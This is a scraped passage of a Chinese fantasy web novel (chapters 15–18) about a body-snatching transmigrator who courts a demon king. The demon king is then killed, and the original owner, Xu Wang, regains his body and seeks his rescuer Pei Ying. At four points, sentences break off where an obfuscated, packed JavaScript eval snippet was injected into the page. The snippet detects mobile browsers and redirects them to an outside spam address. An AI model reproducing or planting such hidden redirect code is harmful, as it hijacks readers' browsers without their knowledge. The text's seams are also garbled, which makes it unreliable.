d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478866|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许妄?还有别的事吗,没有就请回吧。” 清虚一愣。 守拙救过妖王? 身后几位长老听罢便放心了,围上来劝清虚:“掌门,既然妖王如此说,定是不会伤害许妄的。那许妄有一半妖血,也算他们的半个同类。咱们还是走吧。” 清虚道:“还请妖王叫许妄出来相见,见过他我就走。” 赤偃一挥手,大殿一侧的浮生镜中显现出园林的景象。 “许妄”正悠闲地坐在亭中喂鱼。 似是觉察到有人探查他,敏锐地转头看过来。 赤偃又一挥手,镜中景象消失:“这下行了吧?” 清虚仍心有疑虑,可此时的确不宜开战,只能迟疑着离开。 赤偃阴沉地看着他们离去。 这老头真是狡猾,带来的都是修为高深的长老。 否则,一个都别想活着离开。 - 清虚等人走后,赤偃来到“许妄”所在的后花园。 “这里的环境,可还满意?”赤偃问。 苏沐白说:“这里很美,我很喜欢。只是方才……“ “方才如何?” 苏沐白忽然后悔,不该这么草率地问出来。 有重光喜欢监视在前,万一赤偃也是如此呢? 可话已经说了,只好接着道:“方才我察觉似乎有人在偷看我。” “原来是这件事,”赤偃道,“方才是你师父来了,想看看你。你师父清虚想接你回去,你意下如何?” 苏沐白立即表忠心:“大王救了我,我想留在这里,为大王效力。” 重光的好感值已经涨不上去,来此攻略妖王正和他意,怎么能回青云宗呢。 话音刚落,苏沐白便听到系统播报好感值上涨五个百分点。 赤偃大笑:“效力就不必了,怎么能让你去做那些苦差事?你只要留在此处陪伴我便好。” 苏沐白得意不已。 看来千穿万穿,马屁不穿,他再接再厉道:“何况我有一半妖族血统,留在妖界也是顺理成章。” 不料。 赤偃听见这话,笑容忽然消失,脸色由晴转阴,一挥手将桌上果盘打翻。 “滴。”系统道,“妖王赤偃对宿主好感值降低百分之二十。” 苏沐白面上刷地褪去血色,僵在当场。 一旁侍奉的鹿妖吓得扑通一声跪在地上。 赤偃阴沉道:“不知道我不喜欢吃黑色的葡萄吗?” 鹿妖哆嗦着:“大王饶命,小的不知,小的以后一定记住。” “没有下次了。” 赤偃抬起手,鹿妖隔空飞了过来,被赤偃一把掏出内丹。 赤偃慢条斯理地清理干净双手,对苏沐白笑笑:“没吓到你吧?” 看到开膛破肚的鹿妖像一块抹布一样躺在地上,苏沐白脸色惨白地摇摇头,话都说不出来。 15. 第 15 章 赤偃柔声道:“是他不好,我不是有意吓你。对了,你脸上的鳞片,为何不收起来?” 苏沐白小心翼翼道:“之前被裴映所伤,便一直无法完全变回去。” “那个可恶的死人。”赤偃骂道,“喏,妖丹给你,补一补身子,说不定会好起来。” 苏沐白接过还带有余温的妖丹:“多谢大王。” 见赤偃目不转睛盯着他,苏沐白只好忍着恶心将妖丹一口吞下。 赤偃满意地点头:“同我不必客气。别担心,我会帮你想办法,这鳞片,还是早日收回去的好。” …… 赤偃走后,那具鹿妖的尸体被抬走,地板打扫干净,苏沐白才感觉稍稍好一点。 然而一想到刚刚吃下去那颗妖丹,仍旧几欲作呕。 方才的场景实在令他胆战心惊。 赤偃果然如系统说的那样,阴晴不定。 苏沐白很确定,赤偃是在同他生气,那鹿妖是受了无妄之灾。 可是,他到底哪里犯了错? 苏沐白反复回想,赤偃似乎很在意他的鳞片。 一直有意让他收回鳞片。 还有,是在他说了那句自己有一半妖族血统后,赤偃才突然大发脾气杀妖,好感值也骤降。 看来,赤偃不喜欢他变作妖形,不喜欢他身上一半的妖族血统。 虽然不知道为什么。 苏沐白拿起镜子,摸着脸上的鳞片,喃喃自语:“怎么就变不回去呢?真是恶心。” 那之后,赤偃隔三岔五便杀个妖,把妖丹拿给苏沐白吃。 折腾许久,鳞片仍旧无法彻底消退。 赤偃在苏沐白面前,神色肉眼可见地变得阴沉。 苏沐白战战兢兢,只敢坐在赤偃左侧,用自己没有鳞片的右脸对着赤偃。 他甚至开始想念重光了,赤偃就是个精神病,重光除了喜好监视和囚禁,起码不会随意在他面前杀人,比赤偃不知正常多少。 他买通一只狐妖,让狐妖去帮他打探青云宗的消息,用以判断回青云宗是否可行。 狐妖传来的消息是,重光残废,修为大减。 裴映魂灯已灭。 识海中。 许妄精神剧痛,痛苦地蜷缩成一团。 饶是那日亲眼看到裴映肉身消散,得知这个消息,仍旧痛彻心扉,宛若凌迟。 裴映死了。 即便日后有机会夺回身体,可裴映为救他而死,他一人苟活又有什么意义。 许妄也想过死。 他现在很虚弱,全靠一点精气神撑着。 若是这口气散了,他的灵体就会像一阵轻烟般散去。 死很容易,但不是现在。 他要活着,要活到看着恶人死的那一天。 - 狐妖传来消息后,苏沐白便打消回青云宗的念头。 虽说裴映这个威胁消失,可重光如今只是元婴,修为太低,跟苏沐白自己差不了多少,根本保护不了他。 眼下还是暂且留在妖界,待他日找到机会,可以去魔尊那里碰碰运气。 这些时日吃下那么多妖丹,脸上的鳞片虽未消失,修为却突飞猛进。 苏沐白不成想,竟迎来突破元婴境的雷劫。 有妖王和以前从重光那里得来的各种法宝丹药,雷劫顺利扛过。 突破元婴之后,赤偃看着“许妄”的脸,终于露出笑容。 “你的脸……总算恢复了。” “滴,”系统道,“恭喜宿主,赤偃对宿主好感值上涨百分之二十,目前百分之七十。” 苏沐白一喜,没想到突破元婴竟还有这样的意外收获。 赤偃痴迷地抚上“许妄”的脸,轻声道:“真的很像他。” 苏沐白脸上的笑容一僵。 - 苏沐白想知道赤偃口中的“他”是谁,便又许了那只狐妖许多好处,从狐妖那里打探。 狐妖很早就跟着赤偃,确实知道不少内情—— 许妄的父亲林守拙,曾在赤偃身受重伤、奄奄一息时救过他的命。救命之恩,再加上林守拙生得清秀俊俏,气度不凡,赤偃生出倾慕之心。 可惜落花有意流水无情,林守拙早已倾心于黑龙许璃,赤偃不是许璃的对手,无法将林守拙抢过来,只能阴暗地看着许璃和林守拙夫妻恩爱,无能狂怒。 后来,黑龙杀死魔尊厉血霆,自己也身受重伤,赤偃趁虚而入,用红莲业火烧死黑龙,囚禁了林守拙。 林守拙不堪受辱,自尽身亡。 狐妖说道:“去找您父亲的时候,大王本想找到那个孩子,呃,也就是您,不过您父亲先将您藏起来了,没找到。” 识海中,许妄因仇恨而浑身发抖。 原来是赤偃杀害了他的父母。 难怪在他很小的时候,就一直有妖追杀他。因为从那个时候起,赤偃就出于这种龌龊的目的派人搜寻他,而不是他以为的追杀。 听过狐妖的话,苏沐白也明白了。 赤偃这是把他当作许妄父亲的替身。 怪不得不喜欢他显现出一丁点妖的特征,因为赤偃憎恨黑龙。 不过这没什么,只要能攻略成功,替身他也做得。 苏沐白还记得在青云宗祭坛看到过的那幅画像。 林守拙面容更加柔和,没有许妄这般锐利。 苏沐白换上画中人的同款灰色衣袍,头顶戴上逍遥巾,将眼尾化得微微下垂。 赤偃一见他便呆楞住,口中喃喃道:“守拙。” 赤偃走近,眼中尽是迷恋,抬手抓住苏沐白的肩膀。 苏沐白心中暗喜。 此招虽险,胜算却大。 根据他的经验,走肾才会走心,若是生米做成熟饭,发生实质关系,好感值通常会坐火箭般上涨,不日便会攻略成功。 赤偃缓缓低下头,即将触及“许妄”的唇时,忽然停住动作。 他在“许妄”眼中看到一抹不甚明显的金色。 瞬间,赤偃眼中的痴迷消失不见,目光恢复清明。 他恨恨地想,许妄很像林守拙,鼻子、嘴巴、脸型都有守拙的影子,唯独那双眼睛,像极了那条夺走守拙的卑贱母龙。 赤偃冷漠道:“你终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478867|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究不是他。” 说完转身拂袖而去。 苏沐白气急败坏对系统道:“这个世界没一个正常人!” 重光是个变态控制狂,赤偃把他当替身,还有那个裴映,根本就是个疯子,让苏沐白想起都后怕的程度。 系统道:“这是宿主的最后一道考验,难度自然不同以往。宿主还请耐心一点。” 苏沐白冷静下来,觉得系统说得不无道理。 留在妖界,最起码因为他肖似林守拙,赤偃不会对他不利。 若是去往幽冥界……听闻那魔尊苍煌是个杀人不眨眼的魔头,万一比裴映还吓人,那他可能连命都保不住。 为今之计,只有留在此处攻略赤偃。 时光荏苒,一眨眼,便是四十年过去。 这四十年来,苏沐白靠着模仿林守拙讨得赤偃的欢心,可那赤偃实在挑剔,他已经觉得自己很像了,但好感值涨涨落落,始终在百分之九十附近打转。 这情形和当初攻略重光时如出一辙。 “四十年!不是四个月,不是四年,这可是四十年!” 苏沐白耐心告罄,几欲崩溃。 若赤偃有重光那般正常也就罢了,可他实在残暴血腥,苏沐白日日被迫观看他杀人杀妖,每晚都要做噩梦。 “不行,系统,我实在受不了了,我要离开这里,去找魔尊。” 苏沐白收拾东西,准备找机会开溜。 然而就在他准备逃离的当晚,察觉远处天色有异,那一片区域亮如白昼。 那是幽冥界的方向。 幽冥界发生什么事了? 苏沐白暂且不动,系统忽然告知他一个噩耗。 “宿主,魔尊苍煌已死。” “什么?!”苏沐白大惊失色。 看来方才的异象正是魔尊在和不知名的高手打架。 但那可是魔尊,竟这么轻易就死了?! 苏沐白在脑海里不断追问系统是怎么回事,系统好半晌才回答:“系统也不知内情。” 最近一段时间,系统常常断联,呼叫不应,苏沐白警惕地问:“系统,你不会是要抛下我吧?” 系统用机械的声音一板一眼地回答:“当然不会,宿主。主脑在升级,系统才会时不时断开。” 苏沐白暂且顾不上怀疑系统,计划被打破,令他焦躁又沮丧。 才刚想去攻略魔尊,魔尊就死了,那他岂不是只能留在赤偃身边? 可替身无论如何都是替身,替身是变不成本尊的,这不就意味着,他永远无法成功? 十日后。 虎妖慌慌张张跑来向赤偃禀报。 “大王,不好了!新任魔尊带着魔道大军攻上来了!” 赤偃神色凝重:“新任魔尊?到底是谁?” 此前接到魔尊苍煌被人杀死的消息,赤偃没放在心上,以为新魔尊上任肯定要先收拾内部的乱摊子。 没想到短短十日,这位新魔尊就打上他们妖界的主意。 虎妖支支吾吾道:“这,有兄弟们看到那魔尊的脸,好像是、好像是几十年前跳葬神渊的裴映……” 16. 第 16 章 赤偃瞳孔剧震:“你说什么?!” 一旁的苏沐白脸色惨白如纸,摇摇欲坠。 裴映他、他居然还没死?! 他怎么如此难杀?! 不是魂灯都熄灭了吗?怎么会又活了过来! 之后又十日。 魔道大军长驱直入,节节告胜,妖界数个城池均已沦陷。 只剩妖王所在的朱羽城。 赤偃沉着脸立于城门上。 城门之下,两军对峙。 妖族士兵败的败,降的降,此时相比于魔道大军,数量少得可怜。 苏沐白躲在城墙后偷偷朝下看,许妄透过苏沐白的视野,看到魔军为首的那人。 是裴映……真的是裴映! 裴映还活着! 太好了,真是太好了。 又是四十年未见。 裴映立在魔兽焚狱上,身形高大,白发黑衣,面容仍旧英俊,可却是阴郁的惨白。眉心一点暗红色魔纹,眸光冰冷。 他身上已经没有一点过去的影子。 更是没有一丝活人的气息。 许妄感到心痛,但至少,至少裴映还活着,只要活着,就有希望。 裴映望向城门之上,高声道:“交出妖王和许妄,可饶尔等不死。” 苏沐白转身欲逃,被一只蛇妖拦住去路。 赤偃身后,虎妖、狐妖、狼妖等数十只他曾经的心腹大将包围过来。 赤偃目眦欲裂:“你们!要造反吗?!” 狐妖道:“对不住大王,我们也想活命。您还是乖乖束手就擒吧。” “自不量力。” 赤偃嘶吼一声,双足踏碎砖石,炽烈的红芒自体内爆发,他身形暴涨,化作巨大的朱雀本体,羽翼遮天蔽日。 朱雀口中喷发出灼人的烈火,将那十名妖族大将逼退。 裴映手持陨天剑,身形原地消失,如鬼魅般现身于朱雀身后。 一妖一魔,于云间缠斗。 只见红莲业火与黑色魔息缠绕不止,朱雀的啸叫声有如实质,向四周炸开,令在场士兵头痛欲裂。 半炷香之后,红色巨鸟满身伤痕,痛苦尖叫着,重重摔落在地。 裴映提着陨天剑向赤偃走去。 赤偃身形缩小,化作人形,趴伏在地上道:“裴映,不,魔尊,那日是我不好,我不该带人围攻你,我错了,你别杀我,这朱羽城、整个妖界都是你的。” 裴映充耳不闻,脚步未停。 赤偃又祈求道:“我愿意同你签订契约,我可以当你的灵兽,如何?只要你饶我一命,今后我给魔尊大人当牛做马……” 苏沐白面色如纸地在一旁看着。 他见多了赤偃阴晴不定不可一世的样子,还是第一次见他这般低声下气狼狈求饶。 裴映不为所动,淡淡地说:“你害死他父母,你该死。” 噗呲。 陨天剑将赤偃捅了个对穿,赤偃难以置信地睁着眼,就这样死不瞑目。 裴映拔出陨天剑,抬起手,鲜红的妖丹出现在他掌中。 赤偃是上古大妖,妖丹有一颗夜明珠那般大。 苏沐白看到那般强大的赤偃,竟这样轻易就被裴映一剑捅死,便知道如今裴映的实力已经不可估量。 他两股战战。 大声呼叫系统却无人应答。 裴映闪身至苏沐白身边,抓住他的胳膊,苏沐白只觉眼前一花,四周场景变幻。 他定睛一看,险些昏死过去。 脚下是漆黑的焦土,空气中飘来熟悉的甜腥味。 戮仙崖,葬神渊。 时间仿佛又回到四十年前。 那熟悉的、充满不祥气息的法阵令苏沐白恐惧到极点。 他对裴映大喊:“你不能杀我!你杀了我,许妄也活不了!他、他还在身体里……我们两个是一体的,你杀了我,他也会魂飞魄散!” 裴映恍若未闻,将“许妄”放在阵眼上,自己则走到另一处阵眼。 陨天剑划破裴映手臂内侧,血流如注,尽数滴落在阵眼之上。 以血为祭。 鲜血顺着法阵的纹路流淌,法阵发出晦暗的红光,引来幽冥之力,同时,也因为这是逆天邪阵引来雷劫。 黑云翻涌,遮天蔽日,闪电似一条条长蛇,在云层中穿梭。 伴随着雷声轰鸣,无数道闪电向裴映和“许妄”劈下! 裴映的脸在闪电映照下更显苍白,雷击不能撼动他分毫。 而血祭轮回阵的七个方位,七盏安魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478868|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯发出莹润光芒,形成无形的保护罩,使雷电无法靠近许妄的肉身。 苏沐白感觉到一股力量在将他灵魂向外拉扯,他头痛欲裂:“系统,系统你快想想办法啊!” 回答他的只有系统机械的声音:“与宿主解绑失败,系统错误,无法逃离,系统错误,无法逃离……” “啊——”苏沐白凄惨地嚎叫。 那股无形的力量不断将他向外拉扯,苏沐白面容扭曲,抱着头在地上痛苦翻滚。 随着“许妄”的尖叫声戛然而止,裴映看到一个暗灰色的丑陋魂魄被抽离出许妄的身体,在空气中扭曲着,逃窜着。 这就是占据许妄身体五十多年的邪祟。 裴映满眼嫌恶与仇恨,催动法阵,要用阵法之力撕碎这个丑恶的灵魂。 就在此时,他又看到一个白色的光球。 这是什么?裴映皱眉。 竟有两个邪祟吗。 想来就是这个闻所未闻的白色光球能够伪装成许妄,躲过种种探查。 不过不管它是什么,今日都到此为止了。 裴映冷眼看着那一灰一白两个邪祟企图四处逃窜,向法阵中注入更多鲜血和灵力。 法阵中心卷起来自幽冥黄泉的风暴,灰色魂魄和白色光球在颤抖中被撕碎,直至湮灭成尘埃。 与此同时,在极为遥远的异度空间,一道神经链条骤然断裂,其连接着的一颗巨型大脑亦受到重创。 识海中。 许妄眼前只有一片柔和的白光,其他什么也看不见,他感到一种温柔的力量在包围着他,滋养着他。 他的魂魄变得更强了些,神思更加清明。 一些嘈杂的声音被隔绝开,似是从很远的地方传来。 许妄能辨认出那些声音—— 雷声轰鸣。 系统“滋滋”的电流声。 苏沐白喊着我不想死的厉声尖叫。 最终,在一切归于寂静时,许妄也失去了知觉。 一片狼藉的焦土之上,裴映缓缓行至阵眼,取出招魂灯,小心放在许妄身边。 随后紧张地盯着灯看。 倏地,一朵小小的火苗燃起,跳跃。 裴映的眼眸也如同沉寂已久的招魂灯般,一瞬间被点亮。 17. 第 17 章 许妄缓缓睁开眼。 这一次,并非神识视物,而是在用他自己的眼睛看。 入目是熟悉的场景,他认出这里是青云宗的弟子房。 记忆停留在裴映将苏沐白带到戮仙崖,苏沐白被抽离他体内,再之后就是一片空白。 许妄动了动手指。 他能感知到自己的手。 抬起手放在眼前,呆呆地看了一会儿。 随后,他撑着床坐起来,低头看着自己的双脚,又看了半晌。 他能感知到自己的身体。 这是一种熟悉又陌生的感觉。 对其他人而言的寻常之事,对他而言,却隔了五十年之久。 他本该喜悦,却开心不起来,胸口沉甸甸的。 许妄闭目凝神,内观识海,搜寻遍角角落落,确认没有任何来自外界的灵魂,哪怕是一点微小的碎片。 那两个邪祟不在了。 五十年后,他终于重获自由。 许妄双脚落地,站起来,摇摇晃晃往前走。 他太久没有使用自己的身体,尚需一点时间磨合。 忽然脚下绊了一下,险些摔倒,一人从门外冲进来,将他搀扶住。 “你醒了?感觉还好吗?”那人关切道。 是重光。 许妄心下失落,问:“裴映呢?” “裴映?”重光恨恨道,“那个魔头自然是龟缩在幽冥界。你放心,如今青云宗的护山大阵加固过,那魔头无法轻易来伤害你。” 许妄不语,拨开重光扶着他的手。 重光神情一僵。 “他不是魔头,他是我师兄,是救了我的人。” 许妄语调平静,但无比肯定,不容置疑。 “你在说什么?”重光皱眉,“他几次三番害你,你怎么能说……” 许妄打断重光的话:“我不是他。” 重光瞳孔巨震,不由自主后退几步。 许妄接着道:“我才是许妄,住在你殿中那个,是夺了我身体的邪祟。” 重光怔愣,一时说不出话来。 若眼前这个许妄说的是真的…… 那么,那些重光曾察觉到的,“许妄”与许妄记忆中的细微差别,一瞬间有了解释。 五十年前那次搜魂,许妄灵体上的怪异花纹同样可以得到答案。 其实,重光不是没有怀疑过。 所以他一直监视着“许妄”,而“许妄”的行为与他在识海中看到的并无出入。 他便打消疑虑。 至于那些他所感受到的微妙不对劲,他将其解释为许妄变了。 人都是会变的,不是吗? 最重要的是,他怎么可能承认裴映是对的,而他自己的判断是错的? 那时的他是修真界第一人,他的判断不会出错。 许妄微微皱眉,对怔愣着的重光道:“我要休息了。” 重光回神,感到一丝苦涩。 许妄这是在赶他走。 许妄看着他的眼神是那么冰冷,不带一丝感情,甚至还有一丝嫌恶。 可重光竟然觉得这样才是对的。 在经历过被监视、被囚禁之后,许妄理当憎恶重光。 这才是真正的许妄。 重光后悔,若是他早点承认自己错了,或许可以将真正的许妄解救出来。 那样,许妄是不是就会心甘情愿留在他身边? …… 重光走后,清虚和几位同门前来探望。 清虚对许妄充满愧疚。 他这个掌门无能,让许妄被赤偃囚禁四十年,不知这些年里,许妄遭受了怎样的折磨。 许妄问:“掌门,你们是怎么找到我的?” 清虚道:“我打坐修炼结束,打开房门,发现你好生躺在我的太一殿中,身下垫着床褥,身上盖着被子。” 许妄:…… 清虚问:“不知是哪位道友将你送回来的。” 此人悄无声息进入青云宗,必修为高深,好在只送回许妄,对青云宗没有恶意。 许妄低声道:“是裴映。” 清虚一愣。 许妄没再解释,清虚却在电光火石间,明白了一切。 他不禁老泪纵横。 裴映证明了自己是对的,救回了许妄,可付出的代价实在巨大。 他已肉身尽毁,堕入魔道,再无回归正道的可能。 清虚想,若是当初相信裴映…… 可他亦知道,哪怕重来一次,他还是不会和裴映站在一处,因为他没有裴映那般坚定的心性。 清虚擦去泪水,对许妄道:“这些年,你受苦了,是为师无能。” 许妄摇头。 他不怪清虚,在这世上除了自救,没有任何人有义务救他。何况清虚已经做了该做的。 清虚又想起一事:“你昏迷数日,都是你重光师叔守在一旁。你重光师叔如今心境不稳,许妄,念在往日情分……虽说那不是你,但重光不知情,拜托你多安慰安慰他。” 重光自打失去一臂后,修为倒退至元婴境,且再怎么修炼都停滞不前,每日活得浑浑噩噩,如行尸走肉一般。 清虚知晓过去重光和许妄有师徒之谊,此次许妄归来,便让重光照顾许妄,希望重光能重新振作。 对清虚的提议,许妄沉默不语。 他并不想见到重光。 重光曾加害裴映,他怕自己控制不住杀了重光。 不过,对于重光这般心高气傲之人,死反而是种解脱,活着才更加折磨。 - 到底是许妄自己的身体,很快便能行动自如。 许妄走到院子里,想试试自己的身法。 抽出佩剑,他一怔。 是重光送给邪祟的秋水剑,不是他的无华剑。 “叮”地一声,许妄将秋水剑掷在地上。 他去往紫极殿,发现紫极殿已经不复存在,那一处成为空旷的草地,池水还在,池边立着一座小屋。 重光从屋中走出来,见到许妄,怔了怔,随即面上露出惊喜的神情。 “许妄,你……你是来找我的吗?” 许妄漠然的目光从重光身上划过,落在池水上。 “不是。” 他跃入池水,在池底来来回回地仔细搜寻,终于找到了那块灰黑色陨铁。 ……真的很想杀了重光。 若他化作黑蛟,会找得更快一些,但他不愿意在重光面前变成蛟形。 那样他会感到非常恶心。 重光神色颓然,注视着许妄将那块废铁如珍如宝地收起,然后目不斜视地离开,吝于多给他一个眼神。 他在原地看着许妄离去的背影,呆立许久。 - 几日后,青云宗宗门大会。 裴映杀死魔尊苍煌,又率魔道众攻陷妖界,事后不知所踪,扔下魔道众人打破头争魔尊之位。 妖界亦乱成一团,虎、狼、狐、蛇等几大妖族各立门户,分崩离析。 不过这也是修真界降妖除魔的好时机,清虚交代弟子们护好人间,除恶务尽。 “除此之外,还有一件喜事,”清虚指着许妄,“我的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478869|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徒弟许妄终于脱离妖王魔爪,回归青云宗,可喜可贺。” 一向沉默的许妄忽然开口:“掌门,我有话要说。” 清虚惊讶,让他上前:“你说。” 许妄面向数千名青云宗门人,高声道:“之前的五十年,我被邪祟占据身体,前不久,裴映师兄除掉邪祟,解救了我。裴映是对的,他不是恶人。” 台下先是寂静,随后像水珠滴入油锅,瞬间炸开,传出惊讶、感叹、唏嘘等各种声音,嘈杂一片。 同门震惊,复杂滋味涌上心头,只有云隐感到欣慰。 裴映所做的一切总算没有白费,虽然他堕入魔道,前途未卜,但到底救回了许妄。 他得偿所愿了。 这时,台下有人质疑:“空口无凭,你说你被夺舍,那你又怎么证明此刻的你是真的许妄?” “信不信由你。我只是陈述事实,无需向任何人证明。” 许妄说完,转而向清虚跪下叩首。 “师父,今后我会离开青云宗,不再是青云宗弟子。” 清虚急道:“许妄!你要去哪?” 许妄并不回答,再向清虚行一礼:“掌门保重。“ - 许妄御剑飞出青云宗大门。 回首凝望。 这里曾经是他向往的地方,不过,他向往的那人已不在此处,那么他也没有理由留下。 正要离去时,前方有一人将他拦住。 “你不能走。”重光语调紧绷。 许妄毫无波澜地看了重光一眼,没有理会。 重光握着自己空荡的袖管,道:“是啊,裴映为你做了这么多,他是你心中的恩人。可是我呢?我没有害他,他却将我害成现在这副样子。那日裴映来带走你,我并不知晓你被夺舍,我也是想保护你才身受重伤!” 许妄平静道:“你想保护的是邪祟,他已经死了。裴映也没有想害你,是你要杀他,你受伤是咎由自取。” 重光眸光晦暗:“你是不是要去找那个魔头?你不能去,他如今是魔,早已丧失人性,你会被他害死。” 许妄懒得同他多说一个字,转身离去。 重光面露痛苦,低声道:“许妄,别走。” 留给他的只有一个冷漠的背影。 - 许妄来到幽冥界。 这里没有太阳,只有一轮紫色的月亮,天空永远是暗紫色,空气中漂浮着淡淡魔气。 他先去了魔尊的殿宇。 那里一片狼藉,魔道中人为争夺魔尊之位四处混战,许妄险些被波及。 裴映不在那里。 许妄离开魔教老巢,漫无目的地游荡。 幽冥界那么大,比人间和妖界加起来还大,寻找数十日,一无所获。 裴映和修真界的朋友早已没有任何联络,许妄也无法从旁人口中得知他的行踪。 一筹莫展之际,许妄发现幽冥界也有流光水境的入口。 就是当初苏沐白要杀裴映时,他将裴映放进去的那处秘境。 许妄踏上入口,被传送至流光水境之中。 秘境正中央,那棵繁花古树过了花期,满树青翠欲滴的绿叶,也很好看。 许妄躺在树下,思索该如何找到裴映。 忽然,他察觉到什么,转头看向一旁。 他脸侧的地面上,有一片花瓣。 许妄拾起花瓣仔细端详,这是一片冰晶般的半透明花瓣,触手微凉,散发出淡淡的清香。 这不是秘境古树的花瓣,古树的花是浅蓝色的。 这片花瓣不属于这里。 18. 第 18 章 听雪楼中,许妄得知那种花的名字,叫做净梵棠。 净梵棠只在一处地方可以生长。 传说中,上古一位神祗陨落于冥河,祂的身躯在冥河底化作一片圣洁的土地,叫做沉渊净土。 净梵棠便生长于此。 要想抵达沉渊净土,需穿过冥河漩涡。 冥河漩涡极为凶险,非化神境尊者无法抵达。这世上,化神境高手屈指可数,因此沉渊净土几乎无人踏足。 许妄是元婴境,按说无法穿越冥河漩涡。 不过,他是蛟,且拥有龙的血脉,游过漩涡并非难事。 黑色巨蛟有力的身躯穿过冥河,在离开水的瞬间变回人形,进入河底隐藏着的一处空间。 许妄轻轻落于地面。 头顶是如水镜般的结界,映出冥河缓缓流动的暗色波光,其中有一处巨大漩涡转动不休,但却听不见一点声响。 不远处是一棵巨大的净梵棠树,满树净梵棠花散发出柔和的银光,将那一小片沉渊净土照亮,形成一片朦胧清辉。 粗壮的树干后,走出一人。 许妄呆呆地望着那人,像被施了定身咒,站在原地无法动弹。 那人亦向他看过来,眼中满是惊讶。 这一眼对视,与前一次,相隔五十年。 许妄心脏跳得飞快。 他很轻地叫了一声:“裴映。” 话一出口便后悔,恼恨于自己的笨拙。 怎么能直呼其名? 还是应该叫师兄更好些吧? 裴映定了定神,敛去眸中一丝难以察觉的欣喜,开口打断许妄纷乱的思绪。 他笑着问:“我还以为自己藏得很隐蔽……你是怎么找到这里来的?” 许妄张开手,掌心是那片净梵棠花瓣。 “原来如此。”裴映道,“别傻站着,进来坐。” 许妄跟着走过去,发现净梵棠树后有一扇门,竟是一处树屋。 屋内陈设简单,一张榻,一张圆桌,两把椅子,还有桌上的茶壶和茶杯,再无其他。 许妄坐下,裴映给他倒茶。 “这是净梵棠花泡的茶,别有风味,你尝尝。” 他们如今的境界,早已不需要饮食,进食只是为了满足味蕾,品尝不同的味道。 许妄端起茶杯饮了一口。 “好喝。”他说。 说完这两个字,许妄放在膝盖上的手握紧了,紧张得再说不出话,沉默在二人之间流淌。 还是裴映开口打破寂静。 “你来找我,有什么事吗?”裴映问。 许妄从储物戒中取出一把银白色宝剑。 “坠月?” “嗯。” 许妄去太虚宗要回来的。 太虚宗宗主不要脸得很,不肯归还,稍费了些波折。 这是陪伴裴映二十年的宝剑,即便如今用不到,也理应物归原主。 坠月因见到主人激动,发出轻微震颤。 裴映接过:“多谢。辛苦你特意跑一趟。” 许妄沉默,低下头喝茶。 喝了一口,忽然小声说:“我不辛苦。你别同我这么客气。” 裴映一怔,将坠月收起:“你……还有别的事吗,若没有,便请回吧。” 许妄坐着不动。 “怎么,想留下来吃晚饭?”裴映开玩笑,“可惜,我这里并不开火,实在抱歉。” “我已离开青云宗,”许妄深吸一口气,紧张道,“我,我想跟着你。” 裴映敛去笑意:“这里不是你该来的地方。” 幽冥界充斥着魔气,魔修在此,能够炼化魔气为己所用,可对于寻常修士,只会影响修炼速度,且更容易生出心魔。 沉渊净土虽好些,但同样有魔气存在。 “我是半妖,不会受魔气影响。”许妄笃定。 裴映皱眉:“不行。” 他将许妄救出,不是为了让许妄在此处蹉跎。许妄天赋异禀,日后前途无量。 “我不想留在青云宗,”许妄低声道,“那些人我不喜欢,留在那里,我不开心。” 裴映眸光微动,语气却冷淡:“那你可以去别处。我一个人惯了,不喜欢有人跟着我。” 许妄连忙道:“我很安静,不会打扰你,你可以当我不存在。” 长久的沉默后,裴映忽然开口。 “许妄。” “嗯。” 裴映叹气,问:“你一直看着,你都知道,是吗?” “是。” 裴映的坚持,裴映受的伤,裴映因他而名声尽毁,裴映跃下葬神渊……许妄想到仍觉心痛。 裴映早猜到是这样。 若这些年许妄沉睡,醒来后记忆应承接五十年前,那时,许妄对裴映心中有怨,不会是今日这般态度。 而那邪祟所说——许妄救过他,亦是真的。 许妄道:“你……你为我做的那些,多谢。” 裴映却道:“谢过就够了,何况,你也救过我,还险些被我连累得灰飞烟灭,你不欠我什么。你走吧。” 许妄张着嘴,说不出话来。 裴映为他做的太多,一个“谢”字如何能够还清? 他知道裴映说的不对,反正,许妄就是欠裴映更多。 可是许妄不善言辞,说不过裴映。 